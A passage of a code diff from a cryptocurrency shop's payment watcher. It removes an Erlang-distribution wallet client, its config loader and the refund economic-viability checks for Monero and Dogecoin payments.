crypto_payment.refund_amount = int(
refund_details["refund_amount"]
* coin_config["atomic_units"]
)
crypto_payment.refund_tx_hash = result["tx_hash"]
crypto_payment.refund_reason = refund_details["reason"]
# Send refund email notification
if (
crypto_payment.invoice
and crypto_payment.invoice.user
):
try:
# Create shop context request
email_request = create_shop_context_request(
env_request, crypto_payment
)
send_refund_email(
email_request,
crypto_payment.invoice.user.email,
crypto_payment,
refund_details,
)
log.payment_info(
crypto_payment,
"Sent refund email for economically unviable underpayment",
)
except Exception as e:
log.payment_error(
crypto_payment,
f"Failed to send refund email for economically unviable underpayment: {e}",
)
# CRITICAL FIX: Multi-output refund transactions also sweep funds to shop
if not crypto_payment.swept_tx_hash:
# Calculate shop sweep amount: received - refund - fees
shop_sweep_amount = max(
0,
crypto_payment.received_amount
- crypto_payment.refund_amount,
)
# Delete invoice for terminal state
delete_invoice_for_terminal_state(
env_request.dbsession, crypto_payment
crypto_payment.swept_tx_hash = result["tx_hash"]
crypto_payment.swept_amount = shop_sweep_amount
crypto_payment.swept_timestamp = now_timestamp()
# Commit the refund first
env_request.dbsession.add(crypto_payment)
env_request.dbsession.flush()
# Sweep restocking fee to shop owner
sweep_restocking_fee(
env_request.registry.settings,
crypto_payment,
refund_details,
env_request.dbsession,
"Underpayment",
)
else:
# Refund is viable - proceed with refund
result = payment_rescue.execute_refund(
refund_details, crypto_payment
log.payment_error(
crypto_payment,
f"Refund failed for underpayment: {result['error']}",
)
if result["success"]:
log.payment_info(
crypto_payment,
f"Refund executed for underpayment: TX {result['tx_hash']}",
)
# Track the refund details
crypto_payment.refund_amount = int(
refund_details["refund_amount"]
* coin_config["atomic_units"]
)
crypto_payment.refund_tx_hash = result["tx_hash"]
crypto_payment.refund_reason = refund_details[
"reason"
]
# CRITICAL FIX: Multi-output refund transactions also sweep funds to shop
if not crypto_payment.swept_tx_hash:
# Calculate shop sweep amount: received - refund - fees
shop_sweep_amount = max(
0,
crypto_payment.received_amount
- crypto_payment.refund_amount,
)
crypto_payment.swept_tx_hash = result["tx_hash"]
crypto_payment.swept_amount = shop_sweep_amount
crypto_payment.swept_timestamp = now_timestamp()
# Commit the refund first
env_request.dbsession.add(crypto_payment)
env_request.dbsession.flush()
# Sweep restocking fee to shop owner
sweep_restocking_fee(
env_request.registry.settings,
crypto_payment,
refund_details,
env_request.dbsession,
"Underpayment",
)
else:
log.payment_error(
crypto_payment,
f"Refund failed for underpayment: {result['error']}",
)
else:
# No refund possible - no refund address configured
log.payment_error(
@ -3316,45 +3114,6 @@ def process_refund_confirmations(request, settings):
payment, expected_amount, received_amount, payment.user
)
if refund_details:
# Check if refund is economically viable
if not refund_details.get("economically_viable", True):
# Transition to not-refunded state
log.payment_info(
payment,
f"Refund not economically viable: {refund_details['refund_amount']} {payment.coin_type} below threshold",
)
payment.validate_and_set_status(
CryptoPayment.STATUS_UNDERPAID_NOT_REFUNDED,
"economically unviable refund",
)
payment.refund_reason = f"Underpayment - refund economically unviable ({refund_details['refund_amount']} {payment.coin_type})"
# Send refund email notification
if payment.invoice and payment.invoice.user:
try:
# Create shop context request
email_request = create_shop_context_request(
request, payment
)
send_refund_email(
email_request,
payment.invoice.user.email,
payment,
refund_details,
)
log.payment_info(
payment,
"Sent refund email for economically unviable underpayment (passive monitoring)",
)
except Exception as e:
log.payment_error(
payment,
f"Failed to send refund email for economically unviable underpayment (passive monitoring): {e}",
)
db.add(payment)
continue
result = payment_rescue.execute_refund(
refund_details, payment
)

61
make_post_sell/lib/crypto_watcher/crypto_clients.py
View file

@ -523,39 +523,15 @@ class MockDogecoinClient:
}
def get_client_from_settings(settings):
def get_client_from_settings(settings) -> MoneroClient:
"""
Construct a Monero client from Pyramid settings.
Three transports, checked in order:
1. Mock mode (``monero.mock = true``) — returns ``MockMoneroClient``.
Test-only path.
2. Cluster RPC (``wallet_dist.enabled = true``) — returns an
``ErlangDistMoneroClient`` that forwards calls to
``Wallet.Service`` on cammy via the portal bridge. Consolidates
wallet hosting onto cammy; mps-uwsgi1 no longer needs a local
``monero-wallet-rpc`` once this is on.
3. Local HTTP daemon (``monero.rpc_url``) — current default,
backwards-compatible.
Toggle (2) is the consolidation path. To roll back: set
``wallet_dist.enabled = false`` in production.ini and restart
crypto_watcher; the factory drops back to the local daemon path
(which is why we don't decommission the local daemons in the same
cutover).
Helper to construct a client from Pyramid settings.
Expects keys:
monero.rpc_url, monero.rpc_user, monero.rpc_pass
"""
if str(settings.get("monero.mock", "false")).lower() in ("1", "true", "yes"):
path = settings.get("monero.mock_transfers_file") or "mock_transfers.json"
return MockMoneroClient(path)
if _wallet_dist_enabled(settings):
from .erldist_clients import ErlangDistMoneroClient
from .wallet_dist_config import load_wallet_dist_config_from_settings
cfg = load_wallet_dist_config_from_settings(settings)
return ErlangDistMoneroClient(**cfg.client_kwargs())
rpc_url = settings.get("monero.rpc_url")
if not rpc_url:
raise RuntimeError("monero.rpc_url not configured")
@ -568,27 +544,17 @@ def get_client_from_settings(settings):
def get_dogecoin_client_from_settings(settings):
"""
Construct a Dogecoin client from Pyramid settings.
Helper to construct a Dogecoin client from Pyramid settings.
Same three-transport branching as ``get_client_from_settings``:
mock → cluster RPC → local daemon. The cluster RPC path returns
an ``ErlangDistDogecoinClient`` that routes through
``Wallet.Service`` on cammy via the portal bridge.
Uses standard Dogecoin Core RPC - works with both full and pruned nodes.
Pruned mode recommended: only ~2GB storage vs 50GB for full node.
Local-daemon mode (``dogecoin.rpc_url``) stays the default until
``wallet_dist.enabled`` is flipped on. Pruned local mode is
recommended for the legacy path (~2GB vs 50GB).
Settings:
dogecoin.rpc_url, dogecoin.rpc_user, dogecoin.rpc_pass
"""
if str(settings.get("dogecoin.mock", "false")).lower() in ("1", "true", "yes"):
return MockDogecoinClient()
if _wallet_dist_enabled(settings):
from .erldist_clients import ErlangDistDogecoinClient
from .wallet_dist_config import load_wallet_dist_config_from_settings
cfg = load_wallet_dist_config_from_settings(settings)
return ErlangDistDogecoinClient(**cfg.client_kwargs())
rpc_url = settings.get("dogecoin.rpc_url")
if not rpc_url:
raise RuntimeError("dogecoin.rpc_url not configured")
@ -598,12 +564,3 @@ def get_dogecoin_client_from_settings(settings):
rpc_user=settings.get("dogecoin.rpc_user"),
rpc_pass=settings.get("dogecoin.rpc_pass"),
)
def _wallet_dist_enabled(settings) -> bool:
return str(settings.get("wallet_dist.enabled", "false")).strip().lower() in (
"1",
"true",
"yes",
"on",
)

59
make_post_sell/lib/crypto_watcher/crypto_payment_rescue.py
View file

@ -21,14 +21,6 @@ OVERPAYMENT_THRESHOLD_PERCENT = Decimal("0.05") # 5% overpayment allowed before
# Actual fees are typically 0.001-0.003 DOGE for 2-output transactions
DOGE_REFUND_FEE_BUFFER = 0.005 # Conservative buffer to avoid insufficient funds
# Minimum economically viable refund amount in USD
# Below this threshold, network fees likely exceed the refund value
import os
MINIMUM_VIABLE_REFUND_USD = Decimal(
os.environ.get("MINIMUM_VIABLE_REFUND_USD", "0.069") # Default: 6.9 cents USD
)
def calculate_refund_amount(amount, fee_percent=RESTOCKING_FEE_PERCENT):
"""Calculate refund amount after deducting restocking fee."""
@ -38,29 +30,6 @@ def calculate_refund_amount(amount, fee_percent=RESTOCKING_FEE_PERCENT):
return max(refund, Decimal("0"))
def is_refund_economically_viable(refund_amount, coin_type, usd_per_coin=None):
"""
Check if a refund is economically viable based on USD value.
Args:
refund_amount: The refund amount in coin units (not atomic)
coin_type: The cryptocurrency type (e.g., 'DOGE', 'XMR')
usd_per_coin: The USD exchange rate per coin (from payment.rate_locked_usd_per_coin)
Returns:
bool: True if refund is economically viable, False otherwise
"""
if usd_per_coin is None:
# If no USD rate provided, always allow refund (backwards compatibility)
return True
# Convert refund amount to USD
refund_usd = refund_amount * Decimal(str(usd_per_coin))
# Check if refund USD value meets minimum threshold
return refund_usd >= MINIMUM_VIABLE_REFUND_USD
class PaymentRescue:
"""Handle crypto payment errors and trigger refunds when appropriate."""
@ -102,19 +71,6 @@ class PaymentRescue:
if refund_amount <= 0:
return None
# Check if refund is economically viable
economically_viable = is_refund_economically_viable(
refund_amount, payment.coin_type, payment.rate_locked_usd_per_coin
)
if not economically_viable:
refund_usd = refund_amount * Decimal(str(payment.rate_locked_usd_per_coin))
logger.warning(
f"Economically unviable refund for {payment}: "
f"refund amount {refund_amount} {payment.coin_type} "
f"(${refund_usd:.4f} USD) below ${MINIMUM_VIABLE_REFUND_USD} threshold"
)
return {
"type": "underpayment",
"payment_id": payment.id,
@ -124,7 +80,6 @@ class PaymentRescue:
"refund_amount": refund_amount,
"fee_amount": received_amount - refund_amount,
"reason": f"Underpayment: received {received_amount} but expected {expected_amount}",
"economically_viable": economically_viable,
}
def handle_overpayment(self, payment, expected_amount, received_amount, user):
@ -196,19 +151,6 @@ class PaymentRescue:
if refund_amount <= 0:
return None
# Check if refund is economically viable
economically_viable = is_refund_economically_viable(
refund_amount, payment.coin_type, payment.rate_locked_usd_per_coin
)
if not economically_viable:
refund_usd = refund_amount * Decimal(str(payment.rate_locked_usd_per_coin))
logger.warning(
f"Economically unviable refund for expired {payment}: "
f"refund amount {refund_amount} {payment.coin_type} "
f"(${refund_usd:.4f} USD) below ${MINIMUM_VIABLE_REFUND_USD} threshold"
)
return {
"type": "expired",
"payment_id": payment.id,
@ -217,7 +159,6 @@ class PaymentRescue:
"refund_amount": refund_amount,
"fee_amount": received_amount - refund_amount,
"reason": "Payment received after quote expiration",
"economically_viable": economically_viable,
}
def execute_refund(self, refund_details, payment=None):

663
make_post_sell/lib/crypto_watcher/erldist_clients.py
View file

@ -1,663 +0,0 @@
"""
Native Erlang distribution clients for Wallet.Service on wallet@cammy.
Drop-in alternatives to ``MoneroClient`` and ``DogecoinClient`` (and new
``BitcoinClient`` / ``LitecoinClient`` surfaces) that route wallet RPC
through Wallet.Service on cammy via Erlang dist (``erldistpy``) instead
of hitting daemons directly. The public method signatures mirror the
existing direct-HTTP clients so the watcher loop can swap transports
per shop without further changes.
Why both transports exist:
- Existing direct-HTTP clients (this file's siblings) talk to
daemons co-located with the MPS Pyramid process. Self-contained,
no external dependency.
- These dist clients call into Wallet.Service on cammy, which owns
the daemon credentials. Lets us drain wallet daemons off the MPS
droplet to right-size hosting; each shop opts in by setting a
transport config.
Lazy import: ``erldistpy`` is only imported when a dist client is
constructed. MPS deploys that stick with the HTTP transport never need
erldistpy installed.
Operation Voyeur: ``cookie`` is a string the caller has already read
from a file path. TLS material (``tls_cert``, ``tls_key``, ``tls_ca``)
are file paths loaded by OpenSSL — no PEM bytes enter Python memory.
"""
from __future__ import annotations
from decimal import Decimal
from typing import Any, Dict, List, Optional, Tuple
WALLET_SERVICE_NAME = "Elixir.Wallet.Service"
def _make_node(
*,
our_name: str,
peer_name: str,
cookie: str,
peer_host: str = "localhost",
connect_timeout: float = 5.0,
tls_cert: Optional[str] = None,
tls_key: Optional[str] = None,
tls_ca: Optional[str] = None,
):
"""Open an ``erldistpy.Node`` against the wallet node.
Lazy import so ``erldistpy`` is only required when a dist client is
actually constructed.
"""
from erldistpy import Node, make_dist_tls_context
tls_context = None
if tls_cert and tls_key and tls_ca:
tls_context = make_dist_tls_context(cert=tls_cert, key=tls_key, ca=tls_ca)
return Node(
our_name=our_name,
peer_name=peer_name,
cookie=cookie,
peer_host=peer_host,
connect_timeout=connect_timeout,
tls_context=tls_context,
)
def _atom(name: str):
"""Build an ETF atom term. Lazy import for the same reason as Node."""
from erldistpy import Atom
return Atom(name)
def _to_python(value: Any) -> Any:
"""Translate ETF-decoded terms back to JSON-shaped Python values.
Atoms decode to their name string. Binaries to utf-8 strings when
decodable (fall back to raw bytes). Maps/lists/tuples recurse so
the watcher sees the same dict shape it gets from the HTTP client.
"""
from erldistpy import Atom
if isinstance(value, Atom):
return value.name
if isinstance(value, bytes):
try:
return value.decode("utf-8")
except UnicodeDecodeError:
return value
if isinstance(value, dict):
return {_to_python(k): _to_python(v) for k, v in value.items()}
if isinstance(value, list):
return [_to_python(x) for x in value]
if isinstance(value, tuple):
return tuple(_to_python(x) for x in value)
return value
def _unwrap_ok(reply: Any, what: str) -> Any:
"""Unwrap ``{:ok, value}`` or raise on ``{:error, ...}``.
Wallet.Service replies match one of these shapes:
- ``(Atom("ok"), value)`` → return ``_to_python(value)``
- ``(Atom("error"), reason)`` → raise ``WalletDistError``
- bare value (e.g. integer/string for direct RPC passthroughs) →
return as-is after ``_to_python``
"""
if isinstance(reply, tuple) and len(reply) == 2:
head = reply[0]
from erldistpy import Atom
if isinstance(head, Atom):
if head.name == "ok":
return _to_python(reply[1])
if head.name == "error":
detail = _to_python(reply[1])
raise WalletDistError(f"{what} failed: {detail!r}")
# Some Wallet.Service handlers return the raw value (no ok-tuple),
# e.g. utxo passthroughs that return what bitcoind sent.
return _to_python(reply)
class WalletDistError(RuntimeError):
"""Wallet.Service returned an ``{:error, _}`` tuple."""
# ---------------------------------------------------------------------------
# Connection wrapper — holds the erldistpy.Node and exposes call(msg)
# ---------------------------------------------------------------------------
class _DistConn:
"""Thin wrapper so client classes can share one Node instance.
Use ``open()`` to construct, ``close()`` when done. Each ``.call()``
forwards to the Wallet.Service registered process and translates
timeouts to a domain error.
"""
def __init__(
self,
*,
our_name: str,
peer_name: str,
cookie: str,
peer_host: str = "localhost",
call_timeout: float = 15.0,
connect_timeout: float = 5.0,
tls_cert: Optional[str] = None,
tls_key: Optional[str] = None,
tls_ca: Optional[str] = None,
registered_name: str = WALLET_SERVICE_NAME,
):
self._call_timeout = call_timeout
self._registered_name = registered_name
self._node = _make_node(
our_name=our_name,
peer_name=peer_name,
cookie=cookie,
peer_host=peer_host,
connect_timeout=connect_timeout,
tls_cert=tls_cert,
tls_key=tls_key,
tls_ca=tls_ca,
)
def call(self, msg: Any, timeout: Optional[float] = None) -> Any:
from erldistpy import CallTimeout, NodeError
try:
return self._node.call(
self._registered_name, msg, timeout=timeout or self._call_timeout
)
except CallTimeout as e:
raise WalletDistError(f"wallet RPC timed out: {e}") from e
except NodeError as e:
raise WalletDistError(f"wallet RPC error: {e}") from e
def close(self) -> None:
self._node.close()
def __enter__(self) -> "_DistConn":
return self
def __exit__(self, *_a) -> None:
self.close()
# ---------------------------------------------------------------------------
# Monero
# ---------------------------------------------------------------------------
class ErlangDistMoneroClient:
"""Drop-in replacement for ``MoneroClient`` over Erlang dist.
Mirrors ``MoneroClient``'s public surface so the crypto_watcher loop
can swap transports without code changes.
"""
def __init__(
self,
*,
our_name: str,
peer_name: str,
cookie: str,
peer_host: str = "localhost",
call_timeout: float = 15.0,
connect_timeout: float = 5.0,
tls_cert: Optional[str] = None,
tls_key: Optional[str] = None,
tls_ca: Optional[str] = None,
registered_name: str = WALLET_SERVICE_NAME,
):
self._conn = _DistConn(
our_name=our_name,
peer_name=peer_name,
cookie=cookie,
peer_host=peer_host,
call_timeout=call_timeout,
connect_timeout=connect_timeout,
tls_cert=tls_cert,
tls_key=tls_key,
tls_ca=tls_ca,
registered_name=registered_name,
)
def close(self) -> None:
self._conn.close()
def __enter__(self) -> "ErlangDistMoneroClient":
return self
def __exit__(self, *_a) -> None:
self.close()
# ------ Address creation
def create_subaddress(
self, account_index: int = 0, label: Optional[str] = None
) -> Tuple[str, int]:
msg = (
_atom("monero"),
_atom("create_subaddress"),
[account_index, label.encode("utf-8") if label else None],
)
result = _unwrap_ok(self._conn.call(msg), "create_subaddress")
# Wallet.Service returns {:ok, {address, index}} → (str, int) tuple
if isinstance(result, tuple) and len(result) == 2:
address, index = result
return (
address if isinstance(address, str) else address.decode("utf-8"),
int(index),
)
raise WalletDistError(f"create_subaddress: unexpected reply shape {result!r}")
# ------ Payment polling
def get_transfers_for_subaddr(
self, account_index: int, subaddr_indices: List[int]
) -> Dict[str, Any]:
msg = (
_atom("monero"),
_atom("get_transfers_for_subaddr"),
[account_index, list(subaddr_indices)],
)
return _unwrap_ok(self._conn.call(msg), "get_transfers_for_subaddr") or {}
# ------ Balance
def get_balance(
self, account_index: int = 0, subaddress_indices: Optional[List[int]] = None
) -> Dict[str, Any]:
msg = (
_atom("monero"),
_atom("get_balance"),
[account_index, list(subaddress_indices or [])],
)
return _unwrap_ok(self._conn.call(msg), "get_balance") or {}
# ------ Height + sync
def get_height(self) -> int:
msg = (_atom("monero"), _atom("get_height"), [])
result = _unwrap_ok(self._conn.call(msg), "get_height")
return int(result) if result is not None else 0
def is_synced(self) -> bool:
try:
return self.get_height() > 0
except Exception:
return False
def get_sync_status(self) -> dict:
try:
h = self.get_height()
synced = h > 0
return {
"wallet_height": h,
"synced": synced,
"sync_percentage": 100.0 if synced else 0.0,
"remote_node": True,
"ready": synced,
}
except Exception as e:
return {
"wallet_height": 0,
"synced": False,
"sync_percentage": 0.0,
"remote_node": True,
"ready": False,
"error": str(e),
}
def refresh(self) -> Any:
msg = (_atom("monero"), _atom("refresh"), [])
return _unwrap_ok(self._conn.call(msg, timeout=60.0), "refresh")
# ------ Sweep
def sweep_subaddress(
self,
account_index: int,
subaddress_index: int,
destination: str,
priority: int = 0,
) -> str:
msg = (
_atom("monero"),
_atom("sweep_subaddress"),
[account_index, subaddress_index, destination.encode("utf-8"), priority],
)
result = _unwrap_ok(self._conn.call(msg, timeout=30.0), "sweep_subaddress")
return result if isinstance(result, str) else str(result)
def sweep_subaddress_with_details(
self,
account_index: int,
subaddress_index: int,
destination: str,
priority: int = 0,
) -> Dict[str, Any]:
"""Returns ``{"tx_hash": str, "amount": int}`` for fee accounting.
Use this instead of ``sweep_subaddress`` whenever you need the
actual swept amount (e.g. restocking-fee math against the
on-chain amount after network fees).
"""
msg = (
_atom("monero"),
_atom("sweep_subaddress_with_details"),
[account_index, subaddress_index, destination.encode("utf-8"), priority],
)
return _unwrap_ok(
self._conn.call(msg, timeout=30.0), "sweep_subaddress_with_details"
) or {}
# ------ Transfer (refunds)
def transfer(
self,
destinations: List[Dict[str, Any]],
account_index: int = 0,
priority: int = 0,
get_tx_key: bool = True,
) -> Dict[str, Any]:
"""``destinations``: ``[{"amount": int_atomic, "address": str}, ...]``."""
encoded = [
{b"amount": int(d["amount"]), b"address": d["address"].encode("utf-8")}
for d in destinations
]
msg = (
_atom("monero"),
_atom("transfer"),
[
encoded,
account_index,
[(_atom("priority"), priority), (_atom("get_tx_key"), get_tx_key)],
],
)
return _unwrap_ok(self._conn.call(msg, timeout=30.0), "transfer") or {}
# ------ Confirmation tracking (new helper)
def get_tx_confirmations(self, tx_hash: str, account_index: int = 0) -> int:
msg = (
_atom("monero"),
_atom("get_tx_confirmations"),
[tx_hash.encode("utf-8"), account_index],
)
result = _unwrap_ok(self._conn.call(msg), "get_tx_confirmations")
return int(result) if result is not None else 0
# ---------------------------------------------------------------------------
# UTXO coins — shared base, one subclass per coin
# ---------------------------------------------------------------------------
class _ErlangDistUtxoClient:
"""Shared base for Bitcoin / Litecoin / Dogecoin dist clients.
All three speak the same bitcoind-style RPC contract; only the coin
atom (``:btc`` / ``:ltc`` / ``:doge``) differs. Subclasses set
``COIN_ATOM`` to identify themselves to Wallet.Service.
"""
COIN_ATOM: str = "" # overridden by subclass
def __init__(
self,
*,
our_name: str,
peer_name: str,
cookie: str,
peer_host: str = "localhost",
call_timeout: float = 15.0,
connect_timeout: float = 5.0,
tls_cert: Optional[str] = None,
tls_key: Optional[str] = None,
tls_ca: Optional[str] = None,
registered_name: str = WALLET_SERVICE_NAME,
):
if not self.COIN_ATOM:
raise TypeError(
f"{type(self).__name__}: COIN_ATOM must be set on subclass"
)
self._conn = _DistConn(
our_name=our_name,
peer_name=peer_name,
cookie=cookie,
peer_host=peer_host,
call_timeout=call_timeout,
connect_timeout=connect_timeout,
tls_cert=tls_cert,
tls_key=tls_key,
tls_ca=tls_ca,
registered_name=registered_name,
)
def close(self) -> None:
self._conn.close()
def __enter__(self) -> "_ErlangDistUtxoClient":
return self
def __exit__(self, *_a) -> None:
self.close()
def _utxo_call(self, function: str, args: List[Any], timeout: Optional[float] = None) -> Any:
msg = (
_atom("utxo"),
_atom(self.COIN_ATOM),
_atom(function),
args,
)
return _unwrap_ok(self._conn.call(msg, timeout=timeout), function)
# ------ Wallet management
def getnewaddress(self, label: str = "") -> str:
result = self._utxo_call("getnewaddress", [label.encode("utf-8")])
return result if isinstance(result, str) else str(result)
def getaddressesbylabel(self, label: str) -> Dict[str, Any]:
return self._utxo_call("getaddressesbylabel", [label.encode("utf-8")]) or {}
def validateaddress(self, address: str) -> Dict[str, Any]:
return self._utxo_call("validateaddress", [address.encode("utf-8")]) or {}
# ------ Balances + history
def getbalance(self) -> float:
result = self._utxo_call("getbalance", [])
return float(result) if result is not None else 0.0
def getreceivedbyaddress(self, address: str, minconf: int = 0) -> float:
result = self._utxo_call(
"getreceivedbyaddress", [address.encode("utf-8"), minconf]
)
return float(result) if result is not None else 0.0
def listtransactions(
self, label: str = "*", count: int = 10, skip: int = 0
) -> List[Dict[str, Any]]:
return self._utxo_call(
"listtransactions", [label.encode("utf-8"), count, skip]
) or []
def gettransaction(self, txid: str) -> Dict[str, Any]:
return self._utxo_call("gettransaction", [txid.encode("utf-8")]) or {}
# ------ Sending
def sendtoaddress(self, address: str, amount: float, comment: str = "") -> str:
opts = []
if comment:
opts.append((_atom("comment"), comment.encode("utf-8")))
result = self._utxo_call(
"sendtoaddress",
[address.encode("utf-8"), float(amount), opts],
timeout=30.0,
)
return result if isinstance(result, str) else str(result)
def sendmany(
self,
from_label: str,
addresses_amounts: Dict[str, float],
minconf: int = 1,
comment: str = "",
) -> str:
outputs = {
addr.encode("utf-8"): float(amt) for addr, amt in addresses_amounts.items()
}
opts = [(_atom("minconf"), minconf), (_atom("from_account"), from_label.encode("utf-8"))]
if comment:
opts.append((_atom("comment"), comment.encode("utf-8")))
result = self._utxo_call("sendmany", [outputs, opts], timeout=30.0)
return result if isinstance(result, str) else str(result)
# ------ Blockchain status
def getblockcount(self) -> int:
# Some Wallet.Service handlers may not expose getblockcount —
# fall back to getblockchaininfo if it errors.
try:
result = self._utxo_call("getblockcount", [])
return int(result) if result is not None else 0
except WalletDistError:
info = self.getblockchaininfo()
return int(info.get("blocks", 0))
def getblockchaininfo(self) -> Dict[str, Any]:
return self._utxo_call("getblockchaininfo", []) or {}
def is_synced(self) -> bool:
try:
info = self.getblockchaininfo()
blocks = int(info.get("blocks") or 0)
headers = int(info.get("headers") or 0)
return blocks > 0 and blocks >= headers - 1
except Exception:
return False
def get_sync_status(self) -> dict:
try:
info = self.getblockchaininfo()
blocks = int(info.get("blocks") or 0)
headers = int(info.get("headers") or 0)
synced = blocks > 0 and blocks >= headers - 1
return {
"blocks": blocks,
"headers": headers,
"synced": synced,
"sync_percentage": 100.0 * blocks / headers if headers else 0.0,
"ready": synced,
}
except Exception as e:
return {
"blocks": 0,
"headers": 0,
"synced": False,
"sync_percentage": 0.0,
"ready": False,
"error": str(e),
}
# ------ Confirmation tracking (new helper)
def get_tx_confirmations(self, txid: str) -> int:
result = self._utxo_call("get_tx_confirmations", [txid.encode("utf-8")])
return int(result) if result is not None else 0
class ErlangDistBitcoinClient(_ErlangDistUtxoClient):
COIN_ATOM = "btc"
class ErlangDistLitecoinClient(_ErlangDistUtxoClient):
COIN_ATOM = "ltc"
class ErlangDistDogecoinClient(_ErlangDistUtxoClient):
COIN_ATOM = "doge"
# ---------------------------------------------------------------------------
# Cross-coin helpers (operate on coin_type parameter, not tied to one client)
# ---------------------------------------------------------------------------
def refund_with_fee_split(
conn: _DistConn,
coin_type: str,
refund_address: str,
refund_amount_atomic: int,
shop_address: Optional[str] = None,
shop_amount_atomic: int = 0,
opts: Optional[List[Tuple[Any, Any]]] = None,
) -> Dict[str, Any]:
"""Single-transaction customer refund + optional shop fee output.
``coin_type``: one of ``"xmr"``, ``"btc"``, ``"ltc"``, ``"doge"``.
Atomic amounts (piconero / satoshi / litoshi / koinu). Pass
``shop_amount_atomic=0`` for a refund without a fee split.
Returns ``{"tx_hash": str}`` on success or raises ``WalletDistError``.
"""
msg = (
_atom("refund_with_fee_split"),
_atom(coin_type),
refund_address.encode("utf-8"),
int(refund_amount_atomic),
shop_address.encode("utf-8") if shop_address else None,
int(shop_amount_atomic),
opts or [],
)
return _unwrap_ok(conn.call(msg, timeout=30.0), "refund_with_fee_split") or {}
def refund_economically_viable(
refund_amount_coin: Any,
usd_per_coin: Optional[Any],
min_usd: Any = Decimal("0.069"),
) -> bool:
"""Pure helper — same math as Wallet.Service.refund_economically_viable?/3.
Doesn't touch the network. Lives here so callers don't have to round-
trip a trivial decision through dist. Wallet.Service exposes the
same predicate so the Elixir side has a single source of truth, but
Python callers can short-circuit.
Default ``min_usd`` matches MPS's ``MINIMUM_VIABLE_REFUND_USD``.
"""
if usd_per_coin is None:
return True
refund = refund_amount_coin if isinstance(refund_amount_coin, Decimal) else Decimal(str(refund_amount_coin))
rate = usd_per_coin if isinstance(usd_per_coin, Decimal) else Decimal(str(usd_per_coin))
threshold = min_usd if isinstance(min_usd, Decimal) else Decimal(str(min_usd))
return (refund * rate) >= threshold
def open_wallet_conn(
*,
our_name: str,
peer_name: str,
cookie: str,
peer_host: str = "localhost",
call_timeout: float = 15.0,
connect_timeout: float = 5.0,
tls_cert: Optional[str] = None,
tls_key: Optional[str] = None,
tls_ca: Optional[str] = None,
registered_name: str = WALLET_SERVICE_NAME,
) -> _DistConn:
"""Open a connection for callers that want to use ``refund_with_fee_split``
directly (without holding a per-coin client). Caller closes it with
``.close()`` or uses it as a context manager."""
return _DistConn(
our_name=our_name,
peer_name=peer_name,
cookie=cookie,
peer_host=peer_host,
call_timeout=call_timeout,
connect_timeout=connect_timeout,
tls_cert=tls_cert,
tls_key=tls_key,
tls_ca=tls_ca,
registered_name=registered_name,
)

162
make_post_sell/lib/crypto_watcher/wallet_dist_config.py
View file

@ -1,162 +0,0 @@
"""
Read wallet-dist config from production.ini and build kwargs for the
``ErlangDist*Client`` constructors in ``erldist_clients``.
Config shape (added to ``[app:main]`` in production.ini by Salt/pillar):
wallet_dist.enabled = true
wallet_dist.our_node_name = mps@my.makepostsell.com
wallet_dist.peer_name = wallet
wallet_dist.peer_host = cammy.foxhop.net
wallet_dist.registered_name = Elixir.Wallet.Service
wallet_dist.cert = /etc/make_post_sell/wallet-dist/mps-client.crt
wallet_dist.key = /etc/make_post_sell/wallet-dist/mps-client.key
wallet_dist.ca = /etc/make_post_sell/wallet-dist/ca.crt
wallet_dist.cookie_file = /etc/make_post_sell/wallet-dist/cookie
The cookie value is read from ``cookie_file`` at config-load time. The
caller never sees the value on stdout / args / logs — it stays inside
the WalletDistConfig dataclass and gets passed straight to the client
constructor.
"""
from __future__ import annotations
from configparser import ConfigParser
from dataclasses import dataclass
from pathlib import Path
from typing import Optional
@dataclass(frozen=True)
class WalletDistConfig:
enabled: bool
our_node_name: str
peer_name: str
peer_host: str
registered_name: str
tls_cert: Optional[str]
tls_key: Optional[str]
tls_ca: Optional[str]
cookie: str
def client_kwargs(self) -> dict:
"""Kwargs for ErlangDistMoneroClient / ErlangDist*Client.
Caller is responsible for closing the client (or using it as a
context manager)."""
return dict(
our_name=self.our_node_name,
peer_name=self.peer_name,
peer_host=self.peer_host,
cookie=self.cookie,
tls_cert=self.tls_cert,
tls_key=self.tls_key,
tls_ca=self.tls_ca,
registered_name=self.registered_name,
)
def _truthy(value: Optional[str]) -> bool:
return (value or "").strip().lower() in ("true", "1", "yes", "on")
def load_wallet_dist_config(ini_path: str) -> WalletDistConfig:
"""Read ``[app:main]`` from ``ini_path`` and assemble a WalletDistConfig.
Raises ``ValueError`` if ``wallet_dist.enabled = true`` but any of the
required keys / files are missing. Returns a disabled config (no
side-effects) if ``wallet_dist.enabled`` is unset or false.
"""
cp = ConfigParser()
if not cp.read(ini_path):
raise FileNotFoundError(f"production.ini not found: {ini_path}")
if "app:main" not in cp:
raise ValueError(f"{ini_path} has no [app:main] section")
app = cp["app:main"]
return _build_from_dict(dict(app), source=ini_path)
def load_wallet_dist_config_from_settings(settings) -> WalletDistConfig:
"""Same shape as ``load_wallet_dist_config`` but reads from a Pyramid
``settings`` dict instead of an ini path.
Used by the crypto_watcher client factory so the running app can
branch on ``wallet_dist.enabled`` without re-parsing the ini.
"""
# Filter to wallet_dist.* keys so unrelated settings can't trip
# validation. ConfigParser-style keys come through as flat dotted
# strings in Pyramid's settings dict — same shape as `app` above.
relevant = {k: v for k, v in settings.items() if k.startswith("wallet_dist.")}
return _build_from_dict(relevant, source="pyramid settings")
def _build_from_dict(app: dict, *, source: str) -> WalletDistConfig:
"""Shared validation/assembly. ``app`` is a dict-like of dotted
``wallet_dist.*`` keys (the [app:main] section, or a slice of
Pyramid settings). ``source`` shows up in error messages.
"""
enabled = _truthy(app.get("wallet_dist.enabled"))
if not enabled:
return WalletDistConfig(
enabled=False,
our_node_name="",
peer_name="",
peer_host="",
registered_name="",
tls_cert=None,
tls_key=None,
tls_ca=None,
cookie="",
)
required = (
"wallet_dist.our_node_name",
"wallet_dist.peer_name",
"wallet_dist.peer_host",
"wallet_dist.cookie_file",
)
missing = [k for k in required if not app.get(k, "").strip()]
if missing:
raise ValueError(
f"wallet_dist enabled but missing keys: {', '.join(missing)}"
)
cookie_file = app["wallet_dist.cookie_file"].strip()
try:
cookie = Path(cookie_file).read_text().strip()
except OSError as e:
raise ValueError(
f"cannot read wallet_dist.cookie_file {cookie_file!r} (from {source}): {e}"
)
if not cookie:
raise ValueError(f"wallet_dist.cookie_file is empty: {cookie_file} (from {source})")
# TLS material — all three or none. None = plain inet_tcp_dist
# (acceptable when peer also runs plaintext, e.g. dev). All three =
# inet_tls_dist (production via cammy cluster).
cert = (app.get("wallet_dist.cert") or "").strip() or None
key = (app.get("wallet_dist.key") or "").strip() or None
